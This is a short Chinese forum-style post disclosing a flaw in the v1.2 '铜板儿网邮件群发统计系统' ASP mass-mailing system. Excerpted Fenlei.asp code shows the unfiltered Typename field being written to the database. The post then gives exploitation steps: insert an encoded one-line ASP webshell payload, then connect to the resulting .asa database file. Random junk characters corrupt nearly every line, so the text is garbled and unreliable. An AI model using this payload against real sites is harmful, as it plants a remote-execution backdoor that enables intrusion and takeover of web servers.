铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp

: G9 Y2 o) C5 E# g4 V, OIF Request.QueryString("Action")="del" Then
3 K$ k3 B7 |$ W% M  oID=Request.QueryString("ID")
, X$ a+ y7 z/ ]8 s* oIF Countss ("tui","Fenlei",ID )<>0 then
'略
4 j# ^# _9 I5 g! x  F: Z7 J& qIF Request.QueryString("Action")="Add" Then
. ?' u+ m& r7 W; QTname=Request.Form("Typename")
# Y$ @- z: R% @Set Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
, y$ T' R6 r* h* jRs.Open Sql,Conn,1,3
Rs.Addnew
: v4 n' n8 [, C. m( URs("Typename")=Tname
0 a2 h; N# T( G$ f3 [& j'略
Set Rs=Server.CreateObject("adodb.Recordset")
( {/ I. g+ T7 [2 w' XSql="Select * From Fenlei Order by id Desc "
7 I5 ^+ z! ]& ]6 I0 S  B: U6 i% qRs.Open Sql,Conn,1,1
'略
$ F! I* P1 e8 z- ]$ d%>
! r# X- ~7 d5 B+ |

7 f- ~' [, F( u; i! A
没有过滤，直接写入数据库。
3 J& p4 ~. \$ T8 h3 R  e/ D% I
% H% g( O3 [3 N利用方法：

  S9 k  a" q% _' a插入：┼攠數畣整爠煥敵瑳∨≡┩>
- }6 K' r+ K7 B$ P
- Y% e+ k1 I) g5 t! ^2 {
0 T8 X2 r% a) U8 `  Z0 P5 j& b连接： http://www.xxx.com/###tongbaner.asa
9 p. l( l. c- O) ]6 [( X' ~  b) q'默认安装文件：
'install.asp
* A' v. G  y5 i, G# e$ T